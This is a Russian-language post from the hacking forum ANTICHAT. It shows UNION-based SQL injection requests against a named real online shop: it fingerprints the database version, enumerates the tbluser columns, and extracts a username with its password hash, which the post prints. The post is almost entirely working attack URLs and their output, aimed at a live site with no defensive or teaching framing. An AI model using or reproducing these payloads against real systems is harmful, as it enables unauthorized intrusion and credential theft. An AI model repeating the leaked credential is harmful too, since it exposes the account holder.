ANTICHAT - Показать сообщение отдельно

Australian Open Shop

SQL inj:

Код:

http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12/*

5.0.27-community-nt

Есть таблица tbluser, и колонки txtusername, txtpassword

Код:

http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,column_name,3,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=0x74626c75736572+limit+1,1/*

Получем имя и хэш:

Код:

http://www.australianopenshop.com/category.php?id=5+and+1=0+UNION+SELECT+1,concat_ws(0x3a,txtusername,txtpassword),3,4,5,6,7,8,9,10,11,12+from+tbluser/*

jowang:b997cf0fe04484502df1f089789efaad